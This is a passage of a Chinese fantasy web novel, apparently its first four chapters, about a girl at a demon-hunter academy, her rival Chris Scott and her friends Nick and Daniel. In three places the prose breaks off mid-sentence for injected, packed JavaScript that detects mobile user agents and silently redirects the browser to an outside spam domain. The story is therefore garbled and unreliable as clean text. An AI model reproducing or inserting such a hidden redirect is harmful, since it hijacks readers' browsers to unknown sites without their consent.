《我的主角之路大有问题[西幻]》 1. 我讨厌的人 克里斯.斯科特。 西塞莉曾经很讨厌他。 如果去问她“你觉得克里斯这家伙怎么样？”这样的问题，年仅十岁的霍华德小姐一定会毫不犹豫地回答：“克里斯.斯科特是生来邪恶的家伙，我最讨厌他了！” 是的，西塞莉讨厌克里斯。 尽管对方因为样貌和家世在猎魔人学院——尤其是在女生群体中相当有人气，但西塞莉就是看不惯他。 要问为什么，最主要的一点就是她的两位好友——玛蒂尔达和苏菲亚，在开学第一个月里相继喜欢上克里斯，还因为这件事绝交了，导致她们持续五年之久的三人小组解体。 虽然克里斯在玛蒂尔达和苏菲亚反目成仇的过程中什么都没做，但西塞莉是绝对不会承认是自己的朋友有什么错的。 她只会想：克里斯真是罪恶的家伙，只是存在就会给大家带来灾难。 这样的评价不是空穴来风。因为克里斯所在的猎魔人家族——斯科特家族的正统长相是黑发黑眼。 黑发黑眼在整个加兰帝国、乃至五大陆内都并不常见，再加上斯科特一族的天赋术法是通过眼睛发动，且精神系天赋居多，并且使用天赋和情绪激烈时眼睛会变成血一样的红色，而红眼睛又刚好是恶魔的代名词，甚至一些低等级恶魔或恶魔幼崽也会有因情绪失控而眼睛变色的情况。 于是，斯科特一族的眼睛又被称为“恶魔之眼”，并素来有“恶魔的后裔”这种名号。 放在从前，西塞莉肯定对这种说法不屑一顾:明眼人都知道这不过是看不惯斯科特但又打不过的家伙们的造谣，而且比起“恶魔之眼”“恶魔的后裔”这种谣言，流传更广的不是他们“天赋卓绝的一族”的名号吗？ 但现在，西塞莉觉得，斯科特家的人被讨厌肯定有他们自身的问题在的，说不定他们家族有不少克里斯这种讨人厌的家伙，不然怎么这么多人不喜欢他们——反正她讨厌克里斯肯定不可能是她自己的问题！ 那段时间，西塞莉只要一看见他，便忍不住皱眉。 而身为自小接受训练、未来肯定能成为一代优秀猎魔人的克里斯自然对旁人的视线极其敏感，因此他们经常能对上视线，这时西塞莉便会狠狠瞪他一眼，然后率先移开视线。 偶尔多停留一会儿，余光中还能看到对方那张被无数女生追捧的姿容端丽的漂亮脸蛋上有些茫然和无措的神色。 因为玛蒂尔达和苏菲亚绝交的缘故，西塞莉和她们两个的关系也变得十分僵硬:如果和苏菲亚在一起，玛蒂尔达就会生气。但和玛蒂尔达玩的话，苏菲亚又会不高兴。 于是，西塞莉只能暂时和她们两个保持距离，期待有一天她俩能够重归于好。 而在等待的这些日子里，西塞莉便和丹尼尔待在一块打发时间。 ——丹尼尔是西塞莉的好朋友，在进入初级学院前就和她关系甚笃。他们成为朋友的时间甚至比和苏菲亚她们还要久上许多。 “你干嘛一直盯着克里斯那家伙看？”一开始，他对于西塞莉时不时盯着克里斯看这件事颇有微词：“你也和学校里的那些女生一样，觉得他长得好看，帅气又厉害，喜欢他吗？” “哈？”西塞莉被这话恶心得够呛，神色不快道：“我？喜欢谁？克里斯吗？开什么玩笑？！” “我讨厌他还来不及呢！”她大声嚷道：“玛蒂尔达和苏菲亚因为他绝交了！他拆散了我们的三人组！” “那就好……”丹尼尔见到她不悦的模样反而松了口气，“你可千万不要喜欢克里斯——我才是你最好的朋友！你要最喜欢我才行！” 前座的红褐色头发的男孩，尼克回头看了他们一眼，很是无语道：“不要再说这样的台词了，很奇怪啊。” 丹尼尔的性格就是这样，说好听点是直率真诚，难听些的话就是缺心眼、不大会讲话。又因为他小时候的一些经历，所以对和西塞莉的友情格外看重，这点她是可以理解的，但在不那么熟悉的人眼里就显得有些过分亲昵暧昧了。 就比如尼克。 如果是玛蒂尔达、苏菲亚，或者任何一个和他们在同一个初级学院上过课的老同学就不会像尼克那些大惊小怪，只会无视或者对这幼稚的“示威”翻个白眼。 但西塞莉和尼克并不像和玛蒂尔达和苏菲亚她们那样，是从同一个初级学院毕业的两小无猜的好友，所以并不知道丹尼尔对西塞莉所说的“喜欢”其实只是一种朋友间的撒娇。 所以他一开始以为丹尼尔在向西塞莉表白也是很正常的反应，后来经过西塞莉她们的解释和小半个月的脱敏治疗才勉强接受了丹尼尔喜欢向西塞莉“告白”的人设，却也总是忍不住吐槽两句。 “我下次考试一定不会输给克里斯的！” 西塞莉突然开口，信誓旦旦地保证道。 这也算是西塞莉看不惯克里斯的原因之一。 从五岁入学到十岁从初级学院毕业，西塞莉的所有科目的所有考试都是全年级第一，每门科目和满分的分差无论试题多难都控制在十五分以内，因此成绩常年断层第一。 综上所述，西塞莉是个天才。 但在猎魔人学院的第一次月末理论测验时，克里斯以两分之差击败西塞莉获得了第一名。西塞莉生平第一次拿了第二名——而且因为是同一个班，还一拿就是两个。 在成绩排行上看见自己的名字排在第二位时，她着实愣了好几秒，短暂的新奇与怔愣后就是不服气和恼怒——天啊！这家伙抢走了我的好朋友还要抢走我的第一名！好过分！为什么玛蒂尔达苏菲亚和第一名都是他的？！我到底比他差哪儿了？！ 于是，她在心里下定决心：明天的实战课，一定要打败克里斯！ 但事实证明，克里斯这种正统猎魔人世家出身的顶尖天才不是那么轻易战胜的。 即便西塞莉的魔力操纵相当精准，即便西塞莉相当有天赋。但她确实没有经过多长时间系统的训练和学习，和克里斯这种从会走路就开始训练的家伙还差得远。 但更重要的是，西塞莉还没有觉醒天赋术法。 天赋术法是极少数人才拥有的东西，是比魔法还稀少的东西，只有三分之二的魔法师能够觉醒天赋，而拥有天赋的人被称为天赋者，通常是职业猎魔人。 天赋术法靠魔力发动，也就是说，天赋者一定是魔法师，但魔法师不一定是天赋者。 该说不愧是传说中的“恶魔之眼”吗？即使还没有被完全开发掌握，但其威力却已经相当可观了。和斯科特家的传统天赋术法一样，克里斯的天赋是靠眼睛发动的，而西塞莉，她习惯于注视别人的眼睛。 当毫无防备和他那双闪着血红光芒的眼睛对上时，西塞莉莫名晃了下神——那感觉就像她的大脑被清空了一瞬，一瞬间忘掉了所有，连如何呼吸和眨眼都被遗忘，变成了连初生婴儿都不如的、没有意识的人偶。 ——但幸好，只有那么一瞬间。 一瞬间很快过去，恢复正常的西塞莉在心里暗叫糟，但还没等她调整肢体做出反应，就已经被对方给撂倒了。 西塞莉输给了克里斯，再一次。 据调查统计，魔力觉醒通常在9岁~10岁之间，而12岁之前未觉醒魔力且三代以内直系血亲无魔力觉醒记录的孩子大概一辈子也成为不了魔法师，更勿论天赋者。 所以，各地的猎魔人学院的招收条件便被定为：年满10岁且小于13岁，并且通过检测确认已觉醒魔力，和三代以内的直系血亲存在魔法师。 西塞莉同时满足了以上两个条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——那她这么讨厌克里斯是怎么回事？是她自己的问题吗？她怎么会有错？！那是玛蒂尔达和苏菲亚的问题？怎么可能！喜欢这种事怎么可能是错的？爸爸妈妈说喜欢是很美好的东西，美好的东西怎么会有错呢？！ 于是，排除万难后……得到的答案仍然是—— 都是克里斯.斯科特的错！ ……总之，在一阵脑内风暴后，西塞莉还是决定继续讨厌克里斯.斯科特，并且在此后的日子里愈发地讨厌他了。 又一个月过去。 月考临近，玛蒂尔达和苏菲亚依旧没有和好的迹象，西塞莉更讨厌克里斯了。并且在心里发誓——这一次她一定要击败克里斯。 但没一会儿，她又感到不大高兴：她都那么讨厌克里斯.斯科特了，但他可能连她的名字都没记住，也不知道她已经在心里把他当作一生之敌……这也太不公平了吧——！ 于是，考试前一天，西塞莉向克里斯下了战书。 说是战书，其实更像一个通知。她只是走到最前排克里斯的座位前，屈指敲了敲他的桌面——虽然优秀的感知能力让对方在她毫不掩饰的靠近中就已经察觉，但电视剧里都是这么演的，她也得做全套才行。 克里斯抬头看她。 他确实有被女孩们追捧的理由，尽管年纪不大，却也已经出落得相当好看了。 克里斯的长相，是斯科特家族最正统的黑发黑眼——浓郁的、如墨似夜的，黑色的发与眼，比同龄男孩更冷、更白的皮肤，嘴唇偏薄，唇色很浅。对比于是更加强烈，乌发雪肤，衬得他那身疏冷如山巅雪的气质愈发突出，几乎到了有些慑人的地步了—— 也难怪两个月过去也没几个人敢上前跟他搭话，这家伙分明浑身上下都散发着生人勿近的气息嘛！ 班上十数人都在若有若无地关注着他们，教室里一时安静异常，甚至可以从隔音很好的门没关好的缝隙中听到外面走廊里的轻微吵闹声。 克里斯有些疑惑地朝她歪了歪头。 西塞莉直勾勾盯着他，两双颜色相近的眼睛直直对上，她开口，声音在安静的教室里格外清晰。 “第一名，是我的。” 2. 我的假期安排 猎魔人学院统共有五个班：S班，A班，B班，C班，D班。 西塞莉觉得这个班级名称大概是根据猎魔人等级来定的，因为猎魔人公会的分级也是从高到低S至D五个等级。 虽然各班的平均水平其实相差得并不大，但西塞莉还是很高兴自己能被分到S班——毕竟S是最高级、最厉害的嘛！她当然要最好的啦！ 据历年统计，猎魔人学院一年级每班的学生平均人数为16人。这个统计应该是相当准确的，因为西塞莉所在一年S班就刚好有16人。 “今年除了C班有一个留级生外，其他班都是十六个人。”身旁陪她出来看成绩的尼克睁着惺忪的琥珀色眸子补充道。经过两个月的前后桌相处，他俩已经成了关系还不错的好友。 “所以说才能很快就出成绩嘛——哈！我这次果然是第一名！我就知道姓斯科特的家伙果然比不过我哈哈哈——” “只差了一分而已……” “一分也是分！——让我看看尼可和丹尼尔在哪儿……” “在这儿，”尼克抬手指了指排行榜中部的位置，“还有这儿。”他又指了指靠近底部的位置。 “六十八名啊……丹尼尔可要再加把劲儿，不然说不定有留级的风险哦？”西塞莉歪头看向难得安静的丹尼尔。 身旁，金发男孩蔫哒哒垂着脑袋：“知道啦……” “尼克……居然只有三十二名吗？我以为你至少得进前十才对。” “啊……那你高看我了。”尼可耷拉着眉眼，“我就是个普通人呢。” 西塞莉扭头，男孩依旧睁着死鱼眼，神色恹恹地望着她，太阳濒死之际，他稚嫩的脸庞上也被染上了夕阳色的光晕。 西塞莉盯了他几秒，开始低头思考他这么做的用意——是的，西塞莉可以百分百确定，尼克是故意把排名控制在中部的，她才不相信对方只能考三十二名。 所以他这么做的原因是什么？是不想引人注意吗？但有她和克里斯撑在上面，就算他放开些也不会有太大问题。而且他都和她当朋友了诶……虽然不怎么在意，但西塞莉也知道自己的人气是绝对不输克里斯，尼克既然愿意和他交朋友，就说明他也是不讨厌被人注意的吧……？ 那难道是……！ 她突然想起在邻居家大叔的书架上看过的小说。 其中有一本里讲的是主角隐藏实力偷偷升级，然后在跳级考试中连跳四级，从名不见经传的D级一跃成为S级，连猎魔人公会会长都抚着胡须直呼“此子恐怖如斯！”——不过去年猎魔人公会会长刚换任，听老爸说是个年轻男人，应该是没有“雪白的胡须”的吧……？ 她想，难道尼克也看过这本书，并且想要模仿书中的主角隐藏实力、申请到跳级资格、然后一跃成为S级，让公会会长摸着雪白的……额，下巴直呼“此子恐怖如斯！”吗？ 啊！那他和我交朋友难道是为了用我身上的光明与掩盖他的，让自己显得更加平平无奇和普通吗？好狡猾——！！ 西塞莉盯着对方那双下三白明显的死鱼眼，试探着问：“尼克……你看过……《天才猎魔人的完美伪装》吗？” 尼克沉默片刻，道：“……并没有。还请不要再想那些失礼的事情了。” “！” 西塞莉微微睁大眼睛—— 他竟然能看出来我在想什么！！尼克.道尔顿竟恐怖如斯——！ “……都说了不要想那些失礼的事了啊喂——！”这是恼羞成怒的尼克。 “你们在说什么啊……什么完美伪装、什么很失礼啊？”这是一脸茫然的丹尼尔。 虽然并没有从尼克那儿得到确切答案，但西塞莉却也不在追问对方为什么控分——她已经开始期待对方在几年后一跃成为S级，震惊全猎魔人界了！ 就算他利用自己身上的光芒让自己显得更加不显眼也无所谓了，毕竟西塞莉能感觉到对方确实是真心和她交朋友……而且！那可是未来的S级猎魔人诶！两只手就能数的过来的、稀少而强大的S级！ 和S级当朋友，真的超——酷的！ 嗯，当然，她自己也要加倍努力才行，毕竟西塞莉未来也想要成为猎魔人，那她必须要做到最好才行……所以一定不能被尼克这家伙超过！ 于是，西塞莉扭头看向身边的尼克，男孩一头颜色偏红的褐色头发有些略长，微微遮住半边眉眼，看上去很没精神。但一想到对方那宏伟的志向与目标，西塞莉便肃然起敬，同时也更加坚定了决心，她说：“尼克！我是不会输给你的！” “……” “啊……那你加油咯。” 快走到教学楼下的时候，西塞莉一行人迎面碰上了克里斯。 一想到自己这次是第一名，西塞莉就感觉自己心情变得更好了。她骄矜地睨了他一眼，虽然没开口，但一切尽在不言中。 尼克无奈的看了她一眼。 身旁的丹尼尔成功对上她的脑电波，也与有荣焉地仰起脑袋，一头灿金的头发在日光下格外显眼，他故意大声道：“西塞莉好厉害啊！竟然拿了第一名呢！真不愧西塞莉！” 西塞莉抬了抬下巴，嘴角不加掩饰地翘起，眼角眉梢都是得意，看上去像只骄矜的猫。 她视线一和那双黑眼睛对上就下意识瞪他一眼。 男孩脚步微顿，径直和他们错身而过。 西塞莉因为赢了克里斯所以心情良好，并没有因为他的视而不见而恼怒，毕竟失败者总需要一些时间用来自我调节嘛。 —————— “三月已经快结束了啊……”望着窗外被落日染成金红色的天空，女孩如此叹道。 距离二月开学起已经经过两个月考，现在，已经是三月的尾声了。 “四月有什么呢……？”西塞莉趴在桌子上，她头发乌黑而柔顺，长度刚没过圆钝的颌角，这样趴伏在桌上时，黑发从耳后滑落，末端将将触到桌面。 尼克看见她眼角那颗过于艳丽的红色小痣随着她睫毛眨动的频率若隐若现。 “愚人节！”丹尼尔的声音活像只欢快的小狗。 “啊对……愚人节——今年还要去托里斯雕塑上涂鸦吗？” 托里斯是第一任猎魔人公会会长，他一手创办起猎魔人公会，让猎魔人成为当今社会最受尊敬的职业。他和封印了魔王的勇者帕西斯的雕塑几乎是每所正规学校都有的。 西塞莉皱了皱眉:说起来，勇者帕西斯…… “只记得愚人节了吗？”尼克的声音适时插入：“还有帕西斯日啊……要放三天假呢。” ——啊对！帕西斯日！ 帕西斯日，指4月5日，是勇者帕希斯的祭日，也是他封印魔王的那一天。为了纪念千年前这位用生命给这片大陆带来和平与重生的英雄，人们将勇者死去的这一天以他的名字命名，并在这一天认真享受这来之不易的幸福生活。所以，帕西斯日也被称为“新生日”或者“勇者祭”。 但要真心实意地放松下来也并不是那么轻易的事，所以除了4月5日那天，4月5日前后也被列入假期内，从4号到6号一共三天，这样前后都有闲暇处理杂事，帕西斯日就可以尽可能轻松地享受了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504988|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——这样看来，勇者祭这个别称还真的是挺确切的，毕竟平常的春日祭夏日祭这样的祭典节日，大家也是放三天假并且在晚上放烟花。 “帕西斯日，你们要回家吗？” 猎魔人学院提供住宿，除了寒暑假和小长假必须要求回家外，都可以呆在学院里。 猎魔人学院很大，学生又不多，四个年级的师生全加起来也不会超过400人，因此宿舍都是单人单间，环境很好；校园内各种设施都有，甚至还有条小型商业街，虽然不大，但也买些日用品和打发时间还是足够了。 所以尽管休息日和短假期都可以回家，平常时候只要和老师打声招呼也可以离校，但还是不少学生都愿意留在这儿——毕竟都是十多岁、步入叛逆期的少年人，不想被父母长辈管教都很正常啦！ 就连西塞莉这两个月都没有很频繁地回家——事实上，这并不是她到了所谓的叛逆期，非要说的话，她其实一直都不是个乖小孩，那她的叛逆期岂不是从一出生就开始了？ 西塞莉不会频繁回家的原因是她怕留级。但以她的成绩，怎么看都不会留级的吧？——但猎魔人学院确实有过第一名被留级的记录。 猎魔人这个职业，成日和邪恶丑陋的恶魔、通缉犯打交道，死亡与失去如影随形，只单单有充足的理论与强大的实力，是不够的，不被侵蚀的心灵和坚定的灵魂是比那些更重要的东西。 对“家”的过分依赖不是一个合格的猎魔人该有的，更何况他们还是一群没成家的未成年小孩。职业猎魔人总是在奔波，任务是做不完的，世界各地都有恶魔，通缉犯邪教徒满地跑，猎魔人家该是“世界”才对。 西塞莉的父亲艾维斯.霍华德是一名优秀的A级猎魔人，她因此知道了这些内幕——话说他为什么会觉得她会喜欢成天往家里跑呢？难道她在对方眼里是什么恋家的小女孩吗？是什么给了他这样的错觉？ 西塞莉想，臭老爸肯定又独自沉浸在“自家女儿是贴心小棉袄”这种不切实际的幻想中了。 “我不想回去啊……不过如果西塞莉想回去的话，我、我也可以……”丹尼尔吞吞吐吐。 他是被神庭骑士从战场捡回来的战争孤儿，住在神庭创建的福利院里，那所名叫玛利亚的福利院，离霍华德家的别墅还算近。 西塞莉摸着下巴思考道：“要不你给福利院写信说自己打算留校，然后到我家住？” “诶！可以吗？！” “不行吧，福利院只要查一下门卫记录就能知道你根本没填留校申请就离开学校了。”尼克无情地打破了他的幻想。 “啊……”丹尼尔像只丧气的小狗。 “唔，那我还是留在学校里好了，反正我爸妈也没要求我必须回去——尼克你呢？” “我啊……留校吧。” “好耶！那我们三个一起通宵玩游戏吧！我家老爸前天给我寄了最近新出的游戏卡带，但是因为要准备月考所以都没来得及拆呢！” “是焚木之岛3吗？我记得好像就是3月末开售的来着！” “对！还有新出的安吉拉之契！封面很漂亮呢！” “……喂，明明离帕西斯日还差好几天吧？” “是哦——但明天就是愚人节了！而且还是在休息日！西塞莉，我们要不要去雕塑上涂鸦？” “好啊，今年在帕西斯的雕塑上涂吧？不过猎魔人学院的雕塑要比初级学院的大上好多哦——也不知道我的清洁术范围够不够……不然说不定要被老师罚写检讨呢！” “……既然害怕被罚为什么还要恶作剧啊喂！” 3. 自创魔法 事实证明，西塞莉的清洁术确实用得很好，被施过魔法后的帕西斯雕塑甚至比原先还要干净了不少，简直焕然一新。 “我敢说克里斯那家伙的清洁术绝对没有我用得好。” 西塞莉挥了挥手里的魔导杖——这是用来辅助初、中级魔法师施展魔法的基础附魔法器，由符合自身属性的魔石和木质杖身组成。 就比如西塞莉手里这根，就是以银椴木和A级雷属性魔石为原材料制作的。 她洋洋得意道：“我可是在七岁那年就学会了这个魔法呢！” “啊，是为了不被老师罚写检讨么……克里斯应该不会像你们那样每个愚人节都在纪念雕塑上涂鸦。”尼克说道。 他懒洋洋倚着天台栏杆，视线扫到楼下空地处巨大的帕西斯雕塑，想：的确是用得很好，完全看不出来上午被一群学生们弄得满身颜料的样子呢。 “——所以那家伙才这么孤僻嘛……真是的，连愚人节都绷着一张冷脸，难怪没人敢跟他当朋友呢！” 说着，西塞莉学着尼克的样子向后倚靠到栏杆上。 十来岁的小孩子没那么高，只够到成人腰际的护栏贴着她的后背，又因为想要凹出“像漫画里一样帅气”的姿势，姿态看上去滑稽又别扭，但更多还是可爱。 她看了看自己的姿势又侧头看了看一旁的尼克，悲哀地发现，同样是差不多高的小豆丁，但对方那种放松所带来的倦怠而慵懒的感觉，却要比自己酷多了。 她于是又开始调整自己的姿势，但试了好几个都不大满意，不是不够帅气，就是不够舒服。 尼克在一旁冷眼旁观着她在那瞎捣鼓，最后自暴自弃地顺着栏杆滑坐到地上。 过了一会儿，她又像是嫌身后的栏杆硌得慌，干脆直接躺到了地上，脑袋后枕着被脱下来的绀色制服外套，微微眯着眼盯着天空发呆。 云的颜色好像被映在了她的脸上，显得女孩小巧的脸蛋愈发白皙，好似是用玉雕雪刻的一般。 天台一时安静到只能听到风静谧吹过的声音，却并不显沉默尴尬。 尼克又盯了她半晌，学着对方的样子，半眯着眼仰头看着天空。 四月，残冬濒死之际，气温比之前几个月升了不少，风也暖了不少，将他略长的红褐色额发吹开，让他能够更清晰地看见苍蓝的天穹，和几朵飘浮着的雪白云朵。 突然，天台入口响起由远及近的脚步声，然后半合着的铁门被猛得推开——是下去买水的丹尼尔回来了：“西塞莉！我回来啦！” 在西塞莉在的时候，这家伙眼里就看不见别人。他径直路过一旁面无表情的尼克，兴致冲冲地跑到刚坐起身的西塞莉面前，怀里抱着几瓶饮料：“我买了你最喜欢的蓝莓味波子汽水哦！” 西塞莉笑着从丹尼尔怀里抽出波子汽水：“谢谢你！丹尼尔！” 金发男孩不好意思地挠了挠头，朝她笑得灿烂，看上去像是一只得到主人爱抚的小狗：“不用谢啦……反正也是西塞莉请客的嘛！” 然后，他像是才看到一旁杵着的尼克那样，连忙朝他递了递怀里的饮料:“啊！还有尼克你的可乐！” “……谢了。” 尼克拧开可乐瓶，被释放的二氧化碳和瓶盖摩擦发出“呲——”的一声，好在被他静放了一会儿，饮料只溢出了一点。 他盯着食指上那点深色的液体，想：这就是玛蒂尔达说的，‘小狗的示威’么……？ 他换了只手拿可乐瓶，随手甩掉溢出的液体，抬手喝了口饮料，冰凉的液体进入口腔，气泡在舌尖炸开带来熟悉的微微麻痹感，他却不由得轻微皱起了眉。 他不喜欢喝无糖可乐。 “叮铃——” 西塞莉摇晃了下空掉的饮料瓶，玻璃瓶瓶璧和同质地的弹珠摩擦碰撞发出与铃铛有些类似的声响。 她在喝完汽水后便再次躺下了，黑发有些凌乱地散在她垫着脑袋的制服外套上，但因为都是深色，又在护栏的阴影之下，叫人有些看不清边界。 她一只手举着汽水瓶，借着天空与日光，只睁着单只眼去打量里面的玻璃珠。 “我前几天研究出了一个好玩的东西。”突然，她开了口，这么说着，又轻晃了下汽水瓶，于是那和铃铛有些相似的声音便再一次响起。 西塞莉将汽水瓶倒过来，于是那玻璃珠便也顺着引力抵在了瓶口，却也只能到这儿了，那狭窄的开口根本不允许它再近一分。 她从口袋里掏出魔导杖，杖尖凝聚出一小片纯白的魔力靠近瓶口，大约两秒钟时间后，那透明的玻璃珠突然从瓶口滚落，被西塞莉眼疾手快地伸掌接住。 “将将将——” “看！” 她一手捏着玻璃弹珠同时半握住自己的魔导杖，一手依旧拿着汽水瓶，将瓶口朝上展示给上方的尼克和丹尼尔二人看：“完好无损哦！” 只见汽水瓶的塑料开口丝毫未变，的确是完好无损。 “哇——！”丹尼尔率先捧场道：“西塞莉好厉害！！” 尼克盯了瓶口半晌，有些不太确定地问：“这个是……时空魔法……？” “大概……是吧？”西塞莉无辜地眨了眨眼：“就是无聊的时候偶然弄出来的。” “……” 被她装到了。 “……这个魔法如果提交给法师塔的话，你可以直接跳级成为初级魔法师的。” “我不想当职业法师的……法师塔的那群家伙不是研究魔法就是研究武器，我虽然不讨厌这些啦！但果然还是更想要当猎魔人！” 说完，她又自顾自抱怨起来：“真是的，我上个月用我爸爸的号查了猎魔人网，经过发现没有一个魔法是可以完美分离波子汽水瓶喝玻璃弹珠的！只好自己研究了下，前几天刚弄出来呢！但因为要为月考准备，所以都没来得及跟你们说……今晚要不要来我宿舍？” “咦！可以吗？今晚玩焚木之岛3吗？还是那个拉斐尔契约？” “是安吉拉之契啦！——今晚玩焚木之岛。” 尼克：“话题转移的好突然……而且邀请两个异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504989|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性进宿舍真的没问题吗？” “会有……什么问题吗……？”西塞莉茫然又无辜地眨了眨眼。 自然光下，她的眼睛似乎覆着层湿润的光膜，莫名和那颗刚被从瓶子里取出来的玻璃珠有些相像。 “……没问题。”他莫名就讲不出多余的话了。 ———— “啊！忘记焚木之岛只有单人模式和双人模式了！” 快准备好的时候，丹尼尔突然冒出了这么一句。 西塞莉愣了愣，将手里的卡带插入游戏机，扭头问：“尼克，你之前玩过焚木之岛吗？” “没有。” 她松了口气，跑去翻出另一盒卡带，连并掌机一起塞进他手里：“那你就先从第一部开始玩吧！” “西塞莉！” 那边，丹尼尔已经准备好剩下的，坐在放满零食饮品的桌前朝她挥了挥手中的游戏手柄，电视机上是焚木之岛的游戏开始界面——尼克注意到西塞莉宿舍的电视比自己宿舍的要大上许多，应该是更换过。 “来啦——” 西塞莉小跑过去接过他手中的手柄，然后朝后陷入柔软的沙发里：“开始吧！” 焚木之岛中的“焚木之岛”，是传说中，神明陨落的地方，而西塞莉所操控的主人公，探险家则和她的助手——丹尼尔所操纵的角色，一切来到了这里，想要找到传说中“遗失的圣柜”。 传说，“圣柜”是“神明的珍宝”，里面隐藏着可以改变世界的宝藏。 而在这个寻找过程中，冒险家和她的助手会遇见各种各样的奇遇和危机，被数不清的谜团与危险包围，上到找出杀.人案的凶手，下到帮帮老奶奶找小狗…… 这些事情，都在玩家的处理范围内。 而解决这些麻烦后，就可以得到关于圣柜的线索。 “哈！凶手果然是团长！”西塞莉扭头看丹尼尔：“我就说他是凶手吧？小丑是良民！” 大屏幕上，马戏团团长被警察压制着送上警车，脸上涂着鲜艳油彩的金发小丑夸张地笑着，还不忘朝选了女性性别的主人公抛了个轻佻的飞吻，看上去着实不大像“良民”的样子，反派气质浓得几乎快要溢出屏幕。 丹尼尔蜷坐在沙发上，下巴抵着膝盖，目光盯着那衣着鲜亮动作滑稽的金发小丑，委屈的说：“可是小丑看上去真的不像个好人啊……” “这个叫“个性”啦！你不觉得他很帅气吗？” “他脸上全是颜料诶！哪里看得出来帅气了？！”丹尼尔不服气地嚷道。 “是气质啦！气质！感觉？懂不懂？就是很酷的感觉——而且他的金发很好看、骨相也漂亮……卸了妆的话肯定很好看！” “……我的金发不好看吗？我的骨头不漂亮吗？” 他不服气地看她。 西塞莉扭过头打量了他片刻，说：“好看的。丹尼尔的眼睛也很好看，像是海一样，很漂亮的。” 他这才满意地转回头，嘴角笑出一个可爱的酒窝： “那继续吧！” 4. 将要盛开的春 因为昨夜玩到太晚，尼克和丹尼尔就干脆在她宿舍留下了。丹尼尔倒没什么问题，毕竟以前他就经常溜出福利院到西塞莉家玩，像这样玩得太晚而睡在一起也并不少见。 因为猎魔人学院的学生们，通常是从10～12岁到14～16这个年龄段，正是身体发育得最快、变化最大的时候。 因此，宿舍的床被做得很大，躺两个高大的成年人都不显拥挤，三个十来岁的小孩子就更不在话下了，但尼克这家伙死活都不愿意上来，要不是宿舍零点自动上锁，出不去，他可能还想自己回宿舍，最后西塞莉见他实在不愿意，只好从衣橱里抱出备用床褥让他在沙发上凑合一晚。 熬夜玩游戏的后遗症就是第二天起得很晚。 其实中途他们几个都多少醒过一两次，毕竟有个叫“生物钟”的东西嘛……毕竟这学也不是白上的，但一想到今天是休息日，就让人想要再躺下睡一会儿。 这一睡就就睡到午饭时间。 是尼克叫醒了他们。 西塞莉宿舍的沙发也是更换过的，比他宿舍的要软上许多，躺下去的时候几乎让人感觉陷入棉花里，叫他有些不适应，而且因为对腰椎和腰部肌肉支撑不足，躺着的时候还好，一旦起来就感觉腰酸背痛，叫他心情很是不爽，等看到床上睡得四仰八叉的两个家伙的时候，他就感觉更不爽了。 “喂！起来了！”这声音对于平日里懒洋洋的尼克来说已经相当大了，但那二人依旧没甚反应，只是轻微的皱了皱眉。 “对于猎魔人来说，警惕性有些太低了啊……”他低声说着，上前一步，卡住西塞莉的脸颊晃了晃：“喂，醒醒——克里斯.斯科特又拿了第一名！” 尼克明显能感受到手下的人剧烈地颤动了一下，然后猛得睁开了眼，他在心里感叹：果然这招绝对管用…… “有我在……克里斯.斯科特绝对、绝对、拿不到第一名——！” 她说，声音很响，起床气看起来很重，还想要爬起来挠尼克的脸：“你不是很聪明吗？！为什么要大早上说这种不中听的话！！” “……已经十一点半了啊大小姐，你打算就这么把一整天都睡过去吗？”尼克脑袋后仰，离床远了几步，但依旧向前半张着手，防止对方会不小心从床上掉下来。 “有什么不可以的啊！反正今天是休息日！”她嚷道。 “……饿了吗？”尼克有些生硬地转移话题。 西塞莉脸上乖戾的神情收了收，她细细感受了下，说：“有点。” “那就收拾一下去食堂吃饭——今天好像有鳗鱼饭来着。” “唔……”丹尼尔早在西塞莉大喊“有我在克里斯绝对拿不到第一名”的时候就已经睁开了眼，此刻慢悠悠伸了个懒腰，状似漫不经心的样子说：“西塞莉最喜欢的菜是生煎包。” “今天食堂没有生煎包，”尼克从善如流的接话道：“出去吃吗？” “嗯……出去吧——我说的是你们俩，我要洗澡换衣服，你和丹尼尔也回宿舍好好整理一下吧。”西塞莉说，“待会儿在泽布拉维古树下集合吧。” —————— 泽布拉维古树，又称“勇者古树”，是世界上最古老的一棵树，它被栽种在维戈大陆西部的加兰帝国的猎魔人学院中，位于武器库、A栋教学楼和大门形成的三角形的中心点，是勇者帕西斯在一千四百年多前种下的。 几十年后，初代猎魔人公会的创始人、初代公会会长托里斯又在附近建立了公会总部，而泽布拉维古树也被划入新建的猎魔人学院的范围内，距离它几十米处就是昨天愚人节刚被学生们涂满颜料，又被西塞莉用清洁魔法清理一新的勇者帕西斯的大理石雕塑。 泽布拉维古树除了和两位世界级名人牵扯着的过往，本身也是一棵很特别的树——它是一棵独一无二的树。 一但事物和“唯一”“独一无二”这种形容词牵扯在一起，无论对方本身是什么模样，人们便都会觉得他们是特殊的东西了。 泽布拉维古树的树叶很神奇：春天是樱花般的粉色，叶片相比其他季节较小且薄，甚至看上有些半透明的磨砂质感，并且带着浅浅的香气，让它给人的感觉更像樱花了； 